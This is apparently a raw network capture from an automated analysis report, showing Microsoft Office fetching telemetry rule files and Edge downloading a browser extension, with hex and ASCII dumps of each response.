2024-10-30 22:11:35 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:35 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 045b9726-001e-0014-4db7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221135Z-159b85dff8fdthgkhC1DFWk0rw00000000n0000000003g2k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49823	172.217.18.1	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:36 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:36 UTC	565	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY1mF6pQQaFxFIsJkbOhi_PogUD722qbKg2_wBvOLTsajKVetvpTzGzRkpT7XHdzpXcUzZE X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Wed, 30 Oct 2024 20:33:29 GMT Expires: Thu, 30 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 5887 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 22:11:36 UTC	813	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 ab Data Ascii: ?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c 80 Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 d0 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 e7 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c 9f Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 61 Data Ascii: ((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2a
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 ec Data Ascii: {z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 c5 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-10-30 22:11:36 UTC	1378	IN	Data Raw: 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.j

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:36 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9f581369-601e-00ab-15c9-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221136Z-16849878b78qwx7pmw9x5fub1c00000006rg00000000nn8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:36 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221136Z-16849878b78qf2gleqhwczd21s00000008vg00000000b490 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:36 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:36 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221136Z-16849878b78zqkvcwgr6h55x9n000000083000000000guc4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:36 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221136Z-16849878b78wv88bk51myq5vxc00000008yg00000000a7bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
